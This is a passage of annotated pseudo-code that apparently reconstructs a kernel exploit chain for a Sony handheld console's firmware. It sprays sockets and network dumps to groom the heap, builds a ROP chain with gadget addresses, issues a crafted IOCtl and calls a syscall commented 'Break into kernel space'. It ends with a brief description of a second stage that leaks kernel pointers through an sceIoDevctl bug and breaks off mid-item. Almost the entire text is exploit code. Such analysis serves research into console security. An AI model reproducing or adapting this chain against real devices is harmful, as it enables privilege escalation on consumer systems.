0x00(x_stack + 0x00008488) = sceNetSocket(x_stack + 0x000103B8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x0000848C) = sceNetSocket(x_stack + 0x000103C0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008490) = sceNetSocket(x_stack + 0x000103C8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008494) = sceNetSocket(x_stack + 0x000103D0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008498) = sceNetSocket(x_stack + 0x000103D8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x0000849C) = sceNetSocket(x_stack + 0x000103E0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084A0) = sceNetSocket(x_stack + 0x000103E8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084A4) = sceNetSocket(x_stack + 0x000103F0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084A8) = sceNetSocket(x_stack + 0x000103F8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084AC) = sceNetSocket(x_stack + 0x00010400, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084B0) = sceNetSocket(x_stack + 0x00010408, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084B4) = sceNetSocket(x_stack + 0x00010410, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084B8) = sceNetSocket(x_stack + 0x00010418, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084BC) = sceNetSocket(x_stack + 0x00010420, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084C0) = sceNetSocket(x_stack + 0x00010428, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084C4) = sceNetSocket(x_stack + 0x00010430, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084C8) = sceNetSocket(x_stack + 0x00010438, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084CC) = sceNetSocket(x_stack + 0x00010440, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084D0) = sceNetSocket(x_stack + 0x00010448, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084D4) = sceNetSocket(x_stack + 0x00010450, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084D8) = sceNetSocket(x_stack + 0x00010458, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084DC) = sceNetSocket(x_stack + 0x00010460, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084E0) = sceNetSocket(x_stack + 0x00010468, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084E4) = sceNetSocket(x_stack + 0x00010470, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084E8) = sceNetSocket(x_stack + 0x00010478, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084EC) = sceNetSocket(x_stack + 0x00010480, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084F0) = sceNetSocket(x_stack + 0x00010488, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084F4) = sceNetSocket(x_stack + 0x00010490, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084F8) = sceNetSocket(x_stack + 0x00010498, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000084FC) = sceNetSocket(x_stack + 0x000104A0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008500) = sceNetSocket(x_stack + 0x000104A8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008504) = sceNetSocket(x_stack + 0x000104B0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008508) = sceNetSocket(x_stack + 0x000104B8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x0000850C) = sceNetSocket(x_stack + 0x000104C0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008510) = sceNetSocket(x_stack + 0x000104C8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008514) = sceNetSocket(x_stack + 0x000104D0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008518) = sceNetSocket(x_stack + 0x000104D8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x0000851C) = sceNetSocket(x_stack + 0x000104E0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008520) = sceNetSocket(x_stack + 0x000104E8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008524) = sceNetSocket(x_stack + 0x000104F0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008528) = sceNetSocket(x_stack + 0x000104F8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x0000852C) = sceNetSocket(x_stack + 0x00010500, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008530) = sceNetSocket(x_stack + 0x00010508, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008534) = sceNetSocket(x_stack + 0x00010510, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008538) = sceNetSocket(x_stack + 0x00010518, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x0000853C) = sceNetSocket(x_stack + 0x00010520, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008540) = sceNetSocket(x_stack + 0x00010528, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008544) = sceNetSocket(x_stack + 0x00010530, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008548) = sceNetSocket(x_stack + 0x00010538, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x0000854C) = sceNetSocket(x_stack + 0x00010540, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008550) = sceNetSocket(x_stack + 0x00010548, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008554) = sceNetSocket(x_stack + 0x00010550, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008558) = sceNetSocket(x_stack + 0x00010558, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x0000855C) = sceNetSocket(x_stack + 0x00010560, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008560) = sceNetSocket(x_stack + 0x00010568, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008564) = sceNetSocket(x_stack + 0x00010570, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008568) = sceNetSocket(x_stack + 0x00010578, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x0000856C) = sceNetSocket(x_stack + 0x00010580, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008570) = sceNetSocket(x_stack + 0x00010588, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008574) = sceNetSocket(x_stack + 0x00010590, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008578) = sceNetSocket(x_stack + 0x00010598, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x0000857C) = sceNetSocket(x_stack + 0x000105A0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008580) = sceNetSocket(x_stack + 0x000105A8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008584) = sceNetSocket(x_stack + 0x000105B0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008588) = sceNetSocket(x_stack + 0x000105B8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x0000858C) = sceNetSocket(x_stack + 0x000105C0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008590) = sceNetSocket(x_stack + 0x000105C8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008594) = sceNetSocket(x_stack + 0x000105D0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008598) = sceNetSocket(x_stack + 0x000105D8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x0000859C) = sceNetSocket(x_stack + 0x000105E0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000085A0) = sceNetSocket(x_stack + 0x000105E8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000085A4) = sceNetSocket(x_stack + 0x000105F0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000085A8) = sceNetSocket(x_stack + 0x000105F8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x000085AC) = sceNetSocket(x_stack + 0x00010600, 0x00000002, 0x00000001, 0x00000000);
// sceNetSocket("sss", AF_INET, SOCK_STREAM, 0);
0x00(x_stack + 0x000085B8) = sceNetSocket(x_stack + 0x00010608, 0x00000002, 0x00000001, 0x00000000);
// sceNetSocket("tst", AF_INET, 0x7, 0);
0x00(x_stack + 0x000085C4) = sceNetSocket(x_stack + 0x00010614, 0x00000002, 0x00000007, 0x00000000);
// Setup "mhm" ROP
0x00(x_stack + 0x00008708) = 0x008DD9B5
0x00(x_stack + 0x0000870C) = 0x000085C4
0x00(x_stack + 0x00008710) = 0x10007300
0x00(x_stack + 0x00008714) = 0x00000000
0x00(x_stack + 0x00008718) = 0x00000000
0x00(x_stack + 0x0000871C) = 0x00009F90
0x00(x_stack + 0x00008720) = 0x00000000
0x00(x_stack + 0x00008724) = 0x000FCDBB
0x00(x_stack + 0x00008728) = 0x00008810
0x00(x_stack + 0x0000872C) = 0x000059A9
0x00(x_stack + 0x00008730) = 0x00000000
0x00(x_stack + 0x00008734) = 0x00000519
/*
"mhm" ROP
// Issue an IOCtl to "tst" FD
int ioctl_res = sceNetSyscallIoctl(x_stack + 0x000085C4, 0x10007300, 0x00000000);
// Store IOCtl result
0x00(x_stack + 0x00008810) = ioctl_res;
// Deadlock
sceWebkit_519();
*/
// Copy "mhm" ROP chain into "mhm" thread's stack
memcpy(0x00(x_stack + 0x000086FC), x_stack + 0x00008708, 0x00000100);
// Set stack pointer
0x00(x_stack + 0x00008830) = x_stack + 0x000086FC;
// Set PC
0x00(x_stack + 0x00008834) = 0x000C048B; // POP {PC}
// sceNetSocket("tmp", AF_INET, SOCK_STREAM, 0);
0x00(x_stack + 0x000085D0) = sceNetSocket(x_stack + 0x00010620, 0x00000002, 0x00000001, 0x00000000);
// Create several net dumps
// sceNetDumpCreate("ddd", 0x00000F00, 0x00000000);
0x00(x_stack + 0x000085F4) = sceNetDumpCreate(x_stack + 0x0001062C, 0x00000F00, 0x00000000);
0x00(x_stack + 0x000085F8) = sceNetDumpCreate(x_stack + 0x00010638, 0x00000F00, 0x00000000);
0x00(x_stack + 0x000085FC) = sceNetDumpCreate(x_stack + 0x00010644, 0x00000F00, 0x00000000);
0x00(x_stack + 0x00008600) = sceNetDumpCreate(x_stack + 0x00010650, 0x00000F00, 0x00000000);
0x00(x_stack + 0x00008604) = sceNetDumpCreate(x_stack + 0x0001065C, 0x00000F00, 0x00000000);
0x00(x_stack + 0x00008608) = sceNetDumpCreate(x_stack + 0x00010668, 0x00000F00, 0x00000000);
0x00(x_stack + 0x0000860C) = sceNetDumpCreate(x_stack + 0x00010674, 0x00000F00, 0x00000000);
0x00(x_stack + 0x00008610) = sceNetDumpCreate(x_stack + 0x00010680, 0x00000F00, 0x00000000);
0x00(x_stack + 0x00008614) = sceNetDumpCreate(x_stack + 0x0001068C, 0x00000F00, 0x00000000);
0x00(x_stack + 0x000085E8) = sceNetDumpCreate(x_stack + 0x00010698, 0x00000F00, 0x00000000);
0x00(x_stack + 0x000085DC) = sceNetDumpCreate(x_stack + 0x000106A4, 0x00001000, 0x00000000);
// Destroy some dumps
sceNetDumpDestroy(x_stack + 0x000085F4);
sceNetDumpDestroy(x_stack + 0x000085FC);
sceNetDumpDestroy(x_stack + 0x00008604);
sceNetDumpDestroy(x_stack + 0x0000860C);
sceNetDumpDestroy(x_stack + 0x00008614);
sceNetDumpDestroy(x_stack + 0x000085E8);
// Create more net dumps
sceNetDumpCreate(x_stack + 0x000106B0, 0x000D0000, 0x00000000);
sceNetDumpCreate(x_stack + 0x000106BC, 0x000CFF00, 0x00000000);
sceNetDumpCreate(x_stack + 0x000106C8, 0x000CFE00, 0x00000000);
sceNetDumpCreate(x_stack + 0x000106D4, 0x000CFD00, 0x00000000);
sceNetDumpCreate(x_stack + 0x000106E0, 0x000CFC00, 0x00000000);
sceNetDumpCreate(x_stack + 0x000106EC, 0x000CFB00, 0x00000000);
sceNetDumpCreate(x_stack + 0x000106F8, 0x000CFA00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010704, 0x000CF900, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010710, 0x000CF800, 0x00000000);
sceNetDumpCreate(x_stack + 0x0001071C, 0x000CF700, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010728, 0x000CF600, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010734, 0x000CF500, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010740, 0x000CF400, 0x00000000);
sceNetDumpCreate(x_stack + 0x0001074C, 0x000CF300, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010758, 0x000CF200, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010764, 0x000CF100, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010770, 0x000CF000, 0x00000000);
sceNetDumpCreate(x_stack + 0x0001077C, 0x000CEF00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010788, 0x000CEE00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010794, 0x000CED00, 0x00000000);
sceNetDumpCreate(x_stack + 0x000107A0, 0x000CEC00, 0x00000000);
sceNetDumpCreate(x_stack + 0x000107AC, 0x000CEB00, 0x00000000);
sceNetDumpCreate(x_stack + 0x000107B8, 0x000CEA00, 0x00000000);
sceNetDumpCreate(x_stack + 0x000107C4, 0x000CE900, 0x00000000);
sceNetDumpCreate(x_stack + 0x000107D0, 0x000CE800, 0x00000000);
sceNetDumpCreate(x_stack + 0x000107DC, 0x000CE700, 0x00000000);
sceNetDumpCreate(x_stack + 0x000107E8, 0x000CE600, 0x00000000);
sceNetDumpCreate(x_stack + 0x000107F4, 0x000CE500, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010800, 0x000CE400, 0x00000000);
sceNetDumpCreate(x_stack + 0x0001080C, 0x000CE300, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010818, 0x000CE200, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010824, 0x000CE100, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010830, 0x000CE000, 0x00000000);
sceNetDumpCreate(x_stack + 0x0001083C, 0x000CDF00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010848, 0x000CDE00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010854, 0x000CDD00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010860, 0x000CDC00, 0x00000000);
sceNetDumpCreate(x_stack + 0x0001086C, 0x000CDB00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010878, 0x000CDA00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010884, 0x000CD900, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010890, 0x000CD800, 0x00000000);
sceNetDumpCreate(x_stack + 0x0001089C, 0x000CD700, 0x00000000);
sceNetDumpCreate(x_stack + 0x000108A8, 0x000CD600, 0x00000000);
sceNetDumpCreate(x_stack + 0x000108B4, 0x000CD500, 0x00000000);
sceNetDumpCreate(x_stack + 0x000108C0, 0x000CD400, 0x00000000);
sceNetDumpCreate(x_stack + 0x000108CC, 0x000CD300, 0x00000000);
sceNetDumpCreate(x_stack + 0x000108D8, 0x000CD200, 0x00000000);
sceNetDumpCreate(x_stack + 0x000108E4, 0x000CD100, 0x00000000);
sceNetDumpCreate(x_stack + 0x000108F0, 0x000CD000, 0x00000000);
sceNetDumpCreate(x_stack + 0x000108FC, 0x000CCF00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010908, 0x000CCE00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010914, 0x000CCD00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010920, 0x000CCC00, 0x00000000);
sceNetDumpCreate(x_stack + 0x0001092C, 0x000CCB00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010938, 0x000CCA00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010944, 0x000CC900, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010950, 0x000CC800, 0x00000000);
sceNetDumpCreate(x_stack + 0x0001095C, 0x000CC700, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010968, 0x000CC600, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010974, 0x000CC500, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010980, 0x000CC400, 0x00000000);
sceNetDumpCreate(x_stack + 0x0001098C, 0x000CC300, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010998, 0x000CC200, 0x00000000);
sceNetDumpCreate(x_stack + 0x000109A4, 0x000CC100, 0x00000000);
sceNetDumpCreate(x_stack + 0x000109B0, 0x000CC000, 0x00000000);
sceNetDumpCreate(x_stack + 0x000109BC, 0x000CBF00, 0x00000000);
sceNetDumpCreate(x_stack + 0x000109C8, 0x000CBE00, 0x00000000);
sceNetDumpCreate(x_stack + 0x000109D4, 0x000CBD00, 0x00000000);
sceNetDumpCreate(x_stack + 0x000109E0, 0x000CBC00, 0x00000000);
sceNetDumpCreate(x_stack + 0x000109EC, 0x000CBB00, 0x00000000);
sceNetDumpCreate(x_stack + 0x000109F8, 0x000CBA00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010A04, 0x000CB900, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010A10, 0x000CB800, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010A1C, 0x000CB700, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010A28, 0x000CB600, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010A34, 0x000CB500, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010A40, 0x000CB400, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010A4C, 0x000CB300, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010A58, 0x000CB200, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010A64, 0x000CB100, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010A70, 0x000CB000, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010A7C, 0x000CAF00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010A88, 0x000CAE00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010A94, 0x000CAD00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010AA0, 0x000CAC00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010AAC, 0x000CAB00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010AB8, 0x000CAA00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010AC4, 0x000CA900, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010AD0, 0x000CA800, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010ADC, 0x000CA700, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010AE8, 0x000CA600, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010AF4, 0x000CA500, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010B00, 0x000CA400, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010B0C, 0x000CA300, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010B18, 0x000CA200, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010B24, 0x000CA100, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010B30, 0x000CA000, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010B3C, 0x000C9F00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010B48, 0x000C9E00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010B54, 0x000C9D00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010B60, 0x000C9C00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010B6C, 0x000C9B00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010B78, 0x000C9A00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010B84, 0x000C9900, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010B90, 0x000C9800, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010B9C, 0x000C9700, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010BA8, 0x000C9600, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010BB4, 0x000C9500, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010BC0, 0x000C9400, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010BCC, 0x000C9300, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010BD8, 0x000C9200, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010BE4, 0x000C9100, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010BF0, 0x000C9000, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010BFC, 0x000C8F00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010C08, 0x000C8E00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010C14, 0x000C8D00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010C20, 0x000C8C00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010C2C, 0x000C8B00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010C38, 0x000C8A00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010C44, 0x000C8900, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010C50, 0x000C8800, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010C5C, 0x000C8700, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010C68, 0x000C8600, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010C74, 0x000C8500, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010C80, 0x000C8400, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010C8C, 0x000C8300, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010C98, 0x000C8200, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010CA4, 0x000C8100, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010CB0, 0x000C8000, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010CBC, 0x000C7F00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010CC8, 0x000C7E00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010CD4, 0x000C7D00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010CE0, 0x000C7C00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010CEC, 0x000C7B00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010CF8, 0x000C7A00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010D04, 0x000C7900, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010D10, 0x000C7800, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010D1C, 0x000C7700, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010D28, 0x000C7600, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010D34, 0x000C7500, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010D40, 0x000C7400, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010D4C, 0x000C7300, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010D58, 0x000C7200, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010D64, 0x000C7100, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010D70, 0x000C7000, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010D7C, 0x000C6F00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010D88, 0x000C6E00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010D94, 0x000C6D00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010DA0, 0x000C6C00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010DAC, 0x000C6B00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010DB8, 0x000C6A00, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010DC4, 0x000C6900, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010DD0, 0x000C6800, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010DDC, 0x000C6700, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010DE8, 0x000C6600, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010DF4, 0x000C6500, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010E00, 0x000C6400, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010E0C, 0x000C6300, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010E18, 0x000C6200, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010E24, 0x000C6100, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010E30, 0x000C6000, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010E3C, 0x00001000, 0x00000000);
sceNetDumpCreate(x_stack + 0x00010E48, 0x00001000, 0x00000000);
// Start "mhm" thread
// Thread arguments are loaded into R1 and the gadget
// at the thread's entrypoint then loads register values
// from it, overwritting SP and PC and triggering the
// ROP chain
sceKernelStartThread(thread_id, 0x0000001C, x_stack + 0x0000881C);
// Delay thread
sceKernelDelayThread(1500000);
// Close no longer needed sockets
sceNetSyscallClose(x_stack + 0x00008470);
sceNetSyscallClose(x_stack + 0x00008478);
sceNetSyscallClose(x_stack + 0x00008480);
sceNetSyscallClose(x_stack + 0x00008488);
sceNetSyscallClose(x_stack + 0x00008490);
sceNetSyscallClose(x_stack + 0x00008498);
sceNetSyscallClose(x_stack + 0x000084A0);
sceNetSyscallClose(x_stack + 0x000084A8);
sceNetSyscallClose(x_stack + 0x000084B0);
sceNetSyscallClose(x_stack + 0x000084B8);
sceNetSyscallClose(x_stack + 0x000084C0);
sceNetSyscallClose(x_stack + 0x000084C8);
sceNetSyscallClose(x_stack + 0x000084D0);
sceNetSyscallClose(x_stack + 0x000084D8);
sceNetSyscallClose(x_stack + 0x000084E0);
sceNetSyscallClose(x_stack + 0x000084E8);
sceNetSyscallClose(x_stack + 0x000084F0);
sceNetSyscallClose(x_stack + 0x000084F8);
sceNetSyscallClose(x_stack + 0x00008500);
sceNetSyscallClose(x_stack + 0x00008508);
sceNetSyscallClose(x_stack + 0x00008510);
sceNetSyscallClose(x_stack + 0x00008518);
sceNetSyscallClose(x_stack + 0x00008520);
sceNetSyscallClose(x_stack + 0x00008528);
sceNetSyscallClose(x_stack + 0x00008530);
sceNetSyscallClose(x_stack + 0x00008538);
sceNetSyscallClose(x_stack + 0x00008540);
sceNetSyscallClose(x_stack + 0x00008548);
sceNetSyscallClose(x_stack + 0x00008550);
sceNetSyscallClose(x_stack + 0x00008558);
sceNetSyscallClose(x_stack + 0x00008560);
sceNetSyscallClose(x_stack + 0x00008568);
sceNetSyscallClose(x_stack + 0x00008570);
sceNetSyscallClose(x_stack + 0x00008578);
sceNetSyscallClose(x_stack + 0x00008580);
sceNetSyscallClose(x_stack + 0x00008588);
sceNetSyscallClose(x_stack + 0x00008590);
sceNetSyscallClose(x_stack + 0x00008598);
sceNetSyscallClose(x_stack + 0x000085A0);
sceNetSyscallClose(x_stack + 0x000085A8);
sceNetSyscallClose(x_stack + 0x000085C4);
// Break into kernel space
sceNetSyscallControl(0x00000000, 0x30000000, x_stack + 0x00008840, 0x000000FC);
// Destroy another dump
sceNetDumpDestroy(x_stack + 0x000085DC);
// Delay for a while
sceKernelDelayThread(1000000);
// Calculate a SceWebkit pointer using the ioctl
// from "mhm" thread (kernel space?)
r0 = 0x00(x_stack + 0x00008810) + SceWebkit_base + 0x00000575;
// Unknown
sceWebkit_123();
sceWebkit_CF481();
// Destroy specific dumps (constant IDs)
sceNetDumpDestroy(0x00001770);
sceNetDumpDestroy(0x00001771);
sceNetDumpDestroy(0x00001772);
sceNetDumpDestroy(0x00001773);
sceNetDumpDestroy(0x00001774);
sceNetDumpDestroy(0x00001775);
sceNetDumpDestroy(0x00001776);
sceNetDumpDestroy(0x00001777);
sceNetDumpDestroy(0x00001778);
sceNetDumpDestroy(0x00001779);
sceNetDumpDestroy(0x0000177A);
sceNetDumpDestroy(0x0000177B);
sceNetDumpDestroy(0x0000177C);
sceNetDumpDestroy(0x0000177D);
sceNetDumpDestroy(0x0000177E);
sceNetDumpDestroy(0x0000177F);
sceNetDumpDestroy(0x00001780);
sceNetDumpDestroy(0x00001781);
sceNetDumpDestroy(0x00001782);
sceNetDumpDestroy(0x00001783);
sceNetDumpDestroy(0x00001784);
sceNetDumpDestroy(0x00001785);
sceNetDumpDestroy(0x00001786);
sceNetDumpDestroy(0x00001787);
sceNetDumpDestroy(0x00001788);
sceNetDumpDestroy(0x00001789);
sceNetDumpDestroy(0x0000178A);
sceNetDumpDestroy(0x0000178B);
sceNetDumpDestroy(0x0000178C);
sceNetDumpDestroy(0x0000178D);
sceNetDumpDestroy(0x0000178E);
sceNetDumpDestroy(0x0000178F);
sceNetDumpDestroy(0x00001790);
// Deadlock
sceWebkit_519(0x00000000);
  
Stage 2 leverages a bug in sceIoDevctl in order to leak 2 distinct kernel pointers. These 2 pointers refer, respectively, to SceSysmem module's base address and SceIoFilemgr(?) thread's stack address:
  •     // Store leaked kernel pointer 1
        // Comes from devctl_outbuf + 0x3D4
        scesysmem_base = 0x00(x_stack + 0x00007308) + 0xFFFFA8B9
        // Store leaked kernel pointer 2
        // Comes from devctl_outbuf + 0x3C4
